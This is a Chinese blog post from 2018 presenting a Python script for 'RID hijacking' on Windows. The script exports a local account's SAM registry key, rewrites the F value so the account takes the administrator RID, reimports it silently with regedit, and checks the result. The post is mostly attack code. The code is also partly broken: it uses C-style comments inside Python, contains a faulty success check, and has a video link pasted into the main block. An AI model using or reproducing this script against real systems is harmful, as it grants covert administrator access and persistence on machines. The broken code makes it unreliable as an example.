python实现rid劫持
前言
上个星期的时候在弄rid劫持的实验,当时想用python写个rid劫持的操作。后面时间不够上学了
这个星期回来整了出来。星期五被win32API弄的心态崩了= =后面换了种思路
#正文#
先说一下一开始的思路
一开始我是想着用win32API和win32con读取注册表的键值进行修改的
但是REG_BINARY类型的值死活你用bytes类型的格式进行修改,后面我查了
读取出来键值的值的编码类型,解码出来简直是神鬼难救啊,这改个鬼鬼哦
解出来的是这种东西,你不解就修改不了,因为他是bytes类型
后面今天早上的思路就是
用reg命令导出成reg文件,然后修改指定位置的值
在用regdeit /s xx.reg,在用win32API读取修改位置的
值进行对比,如果匹配就劫持成功
`
代码如下:
import os
import win32api
import win32con
import time
n=0
def rid_hack(path):
try:
ps_numer='REG EXPORT HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\000003F1 {}AppBkUp.reg'.format(path)
zx=os.system(ps_numer) //导出HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\000003F1的键值
n=1
print('[+] 命令执行成功')
except:
pass
time.sleep(1)
if os.path.exists('{}AppBkUp.reg'.format(path)): //判断导出的reg 文件是否存在
print('[+] ok reg is ok')
else:
print('[-] reg in not found')
exit()
dk=open('{}AppBkUp.reg'.format(path),'r',encoding='utf-16')
xj=open('{}Rid_Hack.reg'.format(path),'w',encoding='utf-16')
for line in dk:
if 'f1' in line:
line=line.replace('f1','f4').replace('03','01') //修改键值
xj.write(line)
dk.close()
xj.close()
zxw=os.system('regedit /s {}Rid_Hack.reg'.format(path)) //导入注册表
key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account\\Users\\000003F1', 0,win32con.KEY_ALL_ACCESS)
a = win32api.RegQueryValueEx(key, 'F') //读取F的键值
if 'xf4' and 'x01' in str(a[0]): //判断是否存在
print('[+] rid劫持成功')
else:
print('[-] rid劫持失败')
if __name__ == '__main__':[VID_20181027_103535.mp4](attachments\6a167db9.mp4)
user=input("路径:")
rid_hack(user)
测试结果:
转载请声明转自:422926799.github.io
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:python实现rid劫持
本文作者:九世
发布时间:2018-10-27, 10:47:52
最后更新:2019-04-19, 20:36:16
原始链接:http://jiushill.github.io/posts/b921a9fe.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。